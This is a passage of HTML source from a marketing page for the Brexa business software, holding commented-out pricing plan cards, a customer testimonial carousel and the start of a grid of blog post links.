    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>100 Products-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Clients and Projects-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Invoices-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Knowledge Base-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Announcements-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Team Chat-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Smart Pop ups-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Push Notifications-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Payments-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Mobile App Client Portal-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Campaigns (WhatsApp)-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>List Segmentation-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Task Management-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Google & Outlook 2 way sync-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>10 Gb File Storage-->
    <!--              </li>-->
    <!--            </ul>-->
    <!--          </div>-->
    <!--        </div>-->
    <!--      </div>-->
    <!--      <div class="col-xl-4 col-lg-6 col-md-6">-->
    <!--        <div class="card-plan card-plan-2 hover-up">-->
    <!--          <label class="popular">popular</label>-->
    <!--          <div class="card-image-plan">-->
    <!--            <div class="icon-plan"><img src="assets/imgs/page/homepage2/max.png" width="30" alt="Brexa"></div>-->
    <!--            <div class="info-plan">-->
    <!--              <h4 class="color-brand-1">Max</h4>-->
    <!--              <div class="trial-col-1">-->
    <!--                <span class="font-lg-bold color-brand-1 text-price-standard">$289</span><span class="font-md color-grey-500 text-type-standard">- / month</span>-->
    <!--              </div>-->
    <!--            </div>-->
    <!--          </div>-->
    <!--          <div class="box-day-trial box-trial-two">-->
    <!--            <div class="trial-col-1">-->

    <!--              <span class="font-xs color-grey-500">(Billed Monthly)</span><br>-->
    <!--              <span class="font-md color-grey-500">Pay annually Save </span>-->
    <!--              <span class="font-lg-bold color-brand-1">20%</span><br>-->
    <!--              <span class="font-xs color-grey-500">Additional users are $29 each</span>-->
    <!--            </div>-->
    <!--            <div class="trial-col-2"><a class="btn btn-brand-1-full hover-up" href="https://app.worke.io/login">Signup-->
    <!--                <svg class="w-6 h-6 icon-16 ml-10" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>-->
    <!--                </svg></a></div>-->
    <!--          </div>-->
    <!--          <div class="mt-30 mb-30">-->
    <!--            <ul class="list-ticks list-ticks-2">-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>15 Users-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Unlimited Contacts-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Chatbots-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Live Chat-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Web Forms-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Unlimited Pipelines-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Sales CRM-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Appointments and Meetings-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Unlimited Products-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Clients and Projects-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Invoices-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Knowledge Base-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Announcements-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Team Chat-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Smart Pop ups-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Push Notifications-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Payments-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Mobile App Client Portal + Mobile App-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Campaigns (WhatsApp)-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>List Segmentation-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Task Management-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Google & Outlook 2 way sync-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>25 Gb File Storage-->
    <!--              </li>-->
    <!--            </ul>-->
    <!--          </div>-->
    <!--        </div>-->
    <!--      </div>-->
    <!--    </div>-->
    <!--  </div>-->
    <!--</section>-->
    
    <section class="section mt-50 bg-grey-60"> 
        <div class="container"> 
          <div class="pt-120 pb-120">
            <h2 class="color-brand-1 mb-20">What our customers are saying</h2>
            <p class="font-lg color-gray-500">Hear from our users who have saved thousands on their Startup and SaaS
              solution spend.</p>
            <div class="mt-50">
              <div class="box-swiper">
                <div class="swiper-container swiper-group-2">
                  <div class="swiper-wrapper">
                    <div class="swiper-slide">
                      <div class="card-review">
                        <div class="card-info">
                          <div class="rating-review"> <img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"></div>
                          <h5 class="color-grey-800 mb-20">"Brexa has transformed the way we manage our business processes. The CRM module has allowed us to streamline our customer management and sales pipelines, resulting in increased efficiency and improved customer relationships. The integrated chat and video platform have made communication and collaboration effortless with our customers. Brexa has truly become an indispensable tool for our organization." ✌️</h5>
                          <div class="box-author"><a href="#"><img src="assets/imgs/page/homepage2/author.png" alt="iori"></a>
                            <div class="author-info"><a href="#"><span class="font-md-bold color-brand-1 author-name">Great app - Easy to use</span></a><span class="font-xs color-grey-500 department">09 November 2023</span></div>
                          </div>
                        </div>
                      </div>
                    </div>
                    <div class="swiper-slide">
                      <div class="card-review">
                        <div class="card-info">
                          <div class="rating-review"> <img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"></div>
                          <h5 class="color-grey-800 mb-20">"Managing our consulting engagements has become seamless with Brexa's pipelines feature. We can create customized pipelines tailored to different types of consulting projects. From initial client inquiry to project completion, Brexa helps us track progress, assign tasks, and collaborate effectively with our team and clients. Brexa's pipelines have greatly improved our project management capabilities and client satisfaction."</h5>
                          <div class="box-author"><a href="#"><img src="assets/imgs/page/homepage2/author2.png" alt="iori"></a>
                            <div class="author-info"><a href="#"><span class="font-md-bold color-brand-1 author-name">Time Saving and Better</span></a><span class="font-xs color-grey-500 department">12 September 2023</span></div>
                          </div>
                        </div>
                      </div>
                    </div>
                    <div class="swiper-slide">
                      <div class="card-review">
                        <div class="card-info">
                          <div class="rating-review"> <img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"></div>
                          <h5 class="color-grey-800 mb-20">"Brexa's Appointment Scheduler has revolutionized our healthcare practice. It has made appointment booking seamless and convenient for our patients. The automated reminders ensure that our patients never miss an appointment, leading to improved patient attendance and overall satisfaction."</h5>
                          <div class="box-author"><a href="#"><img src="assets/imgs/page/homepage2/author3.png" alt="iori"></a>
                            <div class="author-info"><a href="#"><span class="font-md-bold color-brand-1 author-name">easy-to-use platform, and super customer support</span></a><span class="font-xs color-grey-500 department">25 October 2023</span></div>
                          </div>
                        </div>
                      </div>
                    </div>
                    <div class="swiper-slide">
                      <div class="card-review">
                        <div class="card-info">
                          <div class="rating-review"> <img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"><img src="assets/imgs/template/icons/star.svg" alt="iori"></div>
                          <h5 class="color-grey-800 mb-20">"As a small business owner, Brexa has been a game-changer for me. The unified chat and video platform have allowed me to communicate with my clients and team members effortlessly. The project management module has helped me stay organized and track progress on various tasks and projects. Brexa has truly simplified my business operations and helped me focus on what matters most - growing my business."</h5>
                          <div class="box-author"><a href="#"><img src="assets/imgs/page/homepage2/author3.png" alt="iori"></a>
                            <div class="author-info"><a href="#"><span class="font-md-bold color-brand-1 author-name">Like the name the Software also works</span></a><span class="font-xs color-grey-500 department">05 August 2023</span></div>
                          </div>
                        </div>
                      </div>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </section>


    <!--<section class="section pt-100 pb-100 box-testimonial-2 bg-brand-1">-->
    <!--  <div class="container">-->
    <!--    <div class="row align-items-start">-->
    <!--      <div class="col-lg-4 text-start pt-50">-->
    <!--        <div class="row">-->
    <!--          <div class="col-md-9"><img class="mb-30" src="assets/imgs/page/homepage2/customer.png" alt="Brexa"></div>-->
    <!--        </div>-->
    <!--        <h2 class="color-brand-1 mb-20">What our customers are saying</h2>-->
    <!--        <p class="font-lg color-gray-500">Hear from our users who have saved thousands on their Startup and SaaS-->
    <!--          solution spend.</p>-->
    <!--      </div>-->
    <!--      <div class="col-lg-8">-->
    <!--        <div class="row">-->
    <!--          <div class="col-lg-6 col-md-6">-->
    <!--            <div class="mb-30 mt-50">-->
    <!--              <div class="card-testimonial-grid">-->
    <!--                <div class="box-author mb-10"><a href="#"><img src="assets/imgs/page/homepage2/author.png" alt="Brexa"></a>-->
    <!--                  <div class="author-info"><a href="#"><span class="font-md-bold color-brand-1 author-name">Great app - Easy to use</span></a>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--                <p class="font-md color-grey-500">Brexa has transformed the way we manage our business processes. The CRM module has allowed us to streamline our customer management and sales pipelines, resulting in increased efficiency and improved customer relationships. The integrated chat and video platform have made communication and collaboration effortless with our customers. Brexa has truly become an indispensable tool for our organization." ✌️</p>-->
    <!--                <div class="card-bottom-info"><span class="font-xs color-grey-500 date-post">09 November 2023</span>-->
    <!--                  <div class="rating text-end"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"></div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->
    <!--            <div class="mb-30">-->
    <!--              <div class="card-testimonial-grid">-->
    <!--                <div class="box-author mb-10"><a href="#"><img src="assets/imgs/page/homepage2/author3.png" alt="Brexa"></a>-->
    <!--                  <div class="author-info"><a href="#"><span class="font-md-bold color-brand-1 author-name">easy-to-use platform, and super customer support</span></a>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--                <p class="font-md color-grey-500">Brexa's Appointment Scheduler has revolutionized our healthcare practice. It has made appointment booking seamless and convenient for our patients. The automated reminders ensure that our patients never miss an appointment, leading to improved patient attendance and overall satisfaction.</p>-->
    <!--                <div class="card-bottom-info"><span class="font-xs color-grey-500 date-post">25 October 2023</span>-->
    <!--                  <div class="rating text-end"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"></div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--          </div>-->
    <!--          <div class="col-lg-6 col-md-6">-->
    <!--            <div class="mb-30">-->
    <!--              <div class="card-testimonial-grid">-->
    <!--                <div class="box-author mb-10"><a href="#"><img src="assets/imgs/page/homepage2/author2.png" alt="Brexa"></a>-->
    <!--                  <div class="author-info"><a href="#"><span class="font-md-bold color-brand-1 author-name">Time Saving and Better</span></a>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--                <p class="font-md color-grey-500">Managing our consulting engagements has become seamless with Brexa's pipelines feature. We can create customized pipelines tailored to different types of consulting projects. From initial client inquiry to project completion, Brexa helps us track progress, assign tasks, and collaborate effectively with our team and clients. Brexa's pipelines have greatly improved our project management capabilities and client satisfaction."</p>-->
    <!--                <div class="card-bottom-info"><span class="font-xs color-grey-500 date-post">12 September 2023</span>-->
    <!--                  <div class="rating text-end"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"></div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->
    <!--            <div class="mb-30 ">-->
    <!--              <div class="card-testimonial-grid">-->
    <!--                <div class="box-author mb-10"><a href="#"><img src="assets/imgs/page/homepage2/author1.png" alt="Brexa"></a>-->
    <!--                  <div class="author-info"><a href="#"><span class="font-md-bold color-brand-1 author-name">Like the name the Software also works</span></a>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--                <p class="font-md color-grey-500">As a small business owner, Brexa has been a game-changer for me. The unified chat and video platform have allowed me to communicate with my clients and team members effortlessly. The project management module has helped me stay organized and track progress on various tasks and projects. Brexa has truly simplified my business operations and helped me focus on what matters most - growing my business.</p>-->
    <!--                <div class="card-bottom-info"><span class="font-xs color-grey-500 date-post">05 August 2023</span>-->
    <!--                  <div class="rating text-end"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"><img src="assets/imgs/template/icons/star.svg" alt="Brexa"></div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--          </div>-->
    <!--        </div>-->
    <!--      </div>-->
    <!--    </div>-->
    <!--  </div>-->
    <!--</section>-->
    <section class="section mt-100">
      <div class="container">
        <div class="row align-items-end">
          <div class="col-lg-8 col-md-8">
            <h2 class="color-brand-1 mb-20">News, Tips & Resources about Brexa AI </h2>
            <p class="font-lg color-gray-500">Explore a wealth of knowledge and insights on Brexa AI, encompassing news, expert tips, and valuable resources to fuel your AI journey.</p>
          </div>
          <div class="col-lg-4 col-md-4 text-md-end text-start"><a href="blog.php" class="btn btn-default font-sm-bold pl-0">View All
              <svg class="w-6 h-6 icon-16 ml-5" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3">
                </path>
              </svg></a></div>
        </div>
        <div class="row mt-55">
          <div class="col-xl-3 col-lg-6 col-md-6">
            <div class="card-blog-grid card-blog-grid-2 hover-up">
              <div class="card-image"><a href="what-is-brexa-crm-how-does-it-help-businesses.php"><img src="assets/imgs/page/blog-detail/blog-1.png" alt="Brexa"></a></div>
              <div class="card-info"><a href="what-is-brexa-crm-how-does-it-help-businesses.php">
                  <h6 class="color-brand-1">What is Brexa CRM? How does it help businesses?</h6>
                </a>
                <div class="mt-20 d-flex align-items-center border-top pt-20"><a class="btn btn-border-brand-1 mr-10" href="blog.php">Brexa</a><span class="date-post font-xs color-grey-300 mr-10">
                    <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8 7V3m8 4V3m-9 8h10M5 21h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z">
                      </path>
                    </svg>10 Feb 2023</span><span class="time-read font-xs color-grey-300">
                    <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z"></path>
                    </svg>11 mins read</span></div>
              </div>
            </div>
          </div>
          <div class="col-xl-3 col-lg-6 col-md-6">
            <div class="card-blog-grid card-blog-grid-2 hover-up">
              <div class="card-image"><a href="5-ways-to-leverage-whatsapp-for-customer-service.php"><img src="assets/imgs/page/blog-detail/blog-2.jpg" alt="Brexa"></a></div>
              <div class="card-info"><a href="5-ways-to-leverage-whatsapp-for-customer-service.php">
                  <h6 class="color-brand-1">5 Ways to Leverage WhatsApp for Customer Service</h6>
                </a>
                <div class="mt-20 d-flex align-items-center border-top pt-20"><a class="btn btn-border-brand-1 mr-10" href="blog.php">Artificial Intelligence</a><span class="date-post font-xs color-grey-300 mr-10">
                    <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8 7V3m8 4V3m-9 8h10M5 21h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z">
                      </path>
                    </svg>09 Mar 2023</span><span class="time-read font-xs color-grey-300">
                    <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z"></path>
                    </svg>8 mins read</span></div>
              </div>
            </div>
          </div>
          <div class="col-xl-3 col-lg-6 col-md-6">
            <div class="card-blog-grid card-blog-grid-2 hover-up">
              <div class="card-image"><a href="10-tips-on-how-to-increase-sales-for-your-small-business.php"><img src="assets/imgs/page/blog-detail/blog-3.png" alt="Brexa"></a></div>
              <div class="card-info"><a href="10-tips-on-how-to-increase-sales-for-your-small-business.php">
                  <h6 class="color-brand-1">10 tips on how to increase sales for your small business</h6>
                </a>
                <div class="mt-20 d-flex align-items-center border-top pt-20"><a class="btn btn-border-brand-1 mr-10" href="blog.php">Content marketing</a><span class="date-post font-xs color-grey-300 mr-10">
                    <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8 7V3m8 4V3m-9 8h10M5 21h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z">
                      </path>
                    </svg>01 Apr 2023</span><span class="time-read font-xs color-grey-300">
                    <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z"></path>
                    </svg>10 mins read</span></div>
              </div>
            </div>
          </div>
          <div class="col-xl-3 col-lg-6 col-md-6">
